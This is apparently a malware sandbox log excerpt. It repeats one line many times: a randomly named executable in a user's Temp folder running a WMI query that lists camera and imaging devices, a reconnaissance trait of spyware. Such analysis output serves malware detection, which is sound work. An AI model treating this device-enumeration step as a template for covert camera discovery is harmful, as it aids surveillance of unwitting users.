Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
